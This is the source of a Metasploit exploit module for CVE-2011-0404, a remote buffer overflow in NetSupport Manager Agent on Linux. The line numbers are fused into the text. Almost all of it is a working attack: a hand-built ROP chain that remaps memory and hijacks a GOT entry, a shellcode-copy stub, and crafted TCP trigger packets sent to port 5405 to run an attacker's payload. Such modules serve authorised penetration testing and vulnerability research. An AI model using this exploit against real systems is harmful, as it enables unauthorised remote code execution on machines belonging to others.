Path: blob/master/modules/exploits/linux/misc/netsupport_manager_agent.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'NetSupport Manager Agent Remote Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in NetSupport Manager Agent. It17uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack.18},19'Author' => [20'Luca Carettoni (@_ikki)', # original discovery / exploit21'Evan', # ported from exploit-db exploit22'jduck' # original proftpd_iac ROP, minor cleanups23],24'Arch' => ARCH_X86,25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2011-0404' ],28[ 'OSVDB', '70408' ],29[ 'BID', '45728' ],30[ 'URL', 'https://seclists.org/fulldisclosure/2011/Jan/90' ],31[ 'EDB', '15937' ]32],33'Privileged' => true,34'Platform' => 'linux',35'Payload' => {36'Space' => 0x975,37'BadChars' => "",38'DisableNops' => true,39},40'Targets' => [41[42'linux',43{44'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;;45'Pad' => 975,46'RopStack' =>47[48### mmap isn't used in the binary so we need to resolve it in libc490x00041160, # mmap64 - localtime500xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect510xcccccccc,520x08084662, # add DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;;530xcccccccc,540xcccccccc,550x080541e4, # localtime@plt (now mmap64)560x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;;570, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments580x0, # unused590x08066332, # pop edx; pop ebx; pop ebp ;;60"\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx610xcccccccc,620xcccccccc,630x080555c4, # mov [eax] edx ; pop ebp ;;640xcccccccc,65# 0x0807385a, # push eax ; adc al 0x5d ;;6667### this is the stub used to copy shellcode from the stack to68### the newly mapped executable region69# \x8D\xB4\x24\x7D\xFB\xFF # lea esi,[dword esp-0x483]70# \x8D\x78\x12 # lea edi,[eax+0x12]71# \x6A\x7F # push byte +0x7f72# \x59 # pop ecx73# \xF3\xA5 # rep movsd7475### there are no good jmp eax so overwrite getrlimits GOT entry760x0805591b, # pop ebx; pop ebp ;;770x08092d68 - 0x4, # 08092d68 0002f007 R_386_JUMP_SLOT 00000000 getrlimit780x1, # becomes ebp790x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;;800xfb7c24b4, # become eb810x01,820x08054ac4, # <getrlimit@plt>830x0805591b, # pop ebx; pop ebp ;;84# 0xffff8d78, # become ebx850x788dffff,860x2,870x08054ac4, # <getrlimit@plt>880x0805591b, # pop ebx; pop ebp ;;890x597f6a12,900x3,910x08054ac4, # <getrlimit@plt>920x0805591b, # pop ebx; pop ebp ;;930x9090a5f2,940x4,950x08054ac4, # <getrlimit@plt>960x0805591b, # pop ebx; pop ebp ;;970x8d909090,980x0,990x08054ac4, # <getrlimit@plt>1000xcccccccc,1010x01010101,102]103}104]105],106'DisclosureDate' => '2011-01-08',107'DefaultTarget' => 0,108'Notes' => {109'Reliability' => UNKNOWN_RELIABILITY,110'Stability' => UNKNOWN_STABILITY,111'SideEffects' => UNKNOWN_SIDE_EFFECTS112}113)114)115116register_options(117[118Opt::RPORT(5405),119]120)121end122123def exploit124connect125126# pop_eax_ebx ;127# 0x8084662 # add DWORD PTR [ebx+0x5e5b1cc4],eax ;;128triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" +129"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"130131triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" +132"\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +133"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +134"\x00\x00\x00"135136triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" +137"\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" +138"\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + # pleasure trail139# "\xcc" +140"\x90" +141payload.encoded +142"\xcc" * (target['Pad'] - payload.encoded.length) +143[target.ret].pack('V')144145new = ''146if target['RopStack']147new << target['RopStack'].map { |e|148if e == 0xcccccccc149rand_text(4).unpack('V').first150else151e152end153}.pack('V*')154end155156triggerC << new157triggerC << "\x00" * 4158triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32"159triggerC << "\x30\x00\x31\x30\x00\x00"160161triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" +162"\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" +163"\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" +164"\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00"165166print_status("Sending A")167sock.put(triggerA)168select(nil, nil, nil, 1)169170print_status("Sending B")171sock.put(triggerB)172select(nil, nil, nil, 1)173174print_status("Sending C")175sock.put(triggerC)176select(nil, nil, nil, 1)177178print_status("Sending D")179sock.put(triggerD)180select(nil, nil, nil, 1)181182disconnect183end184end185186187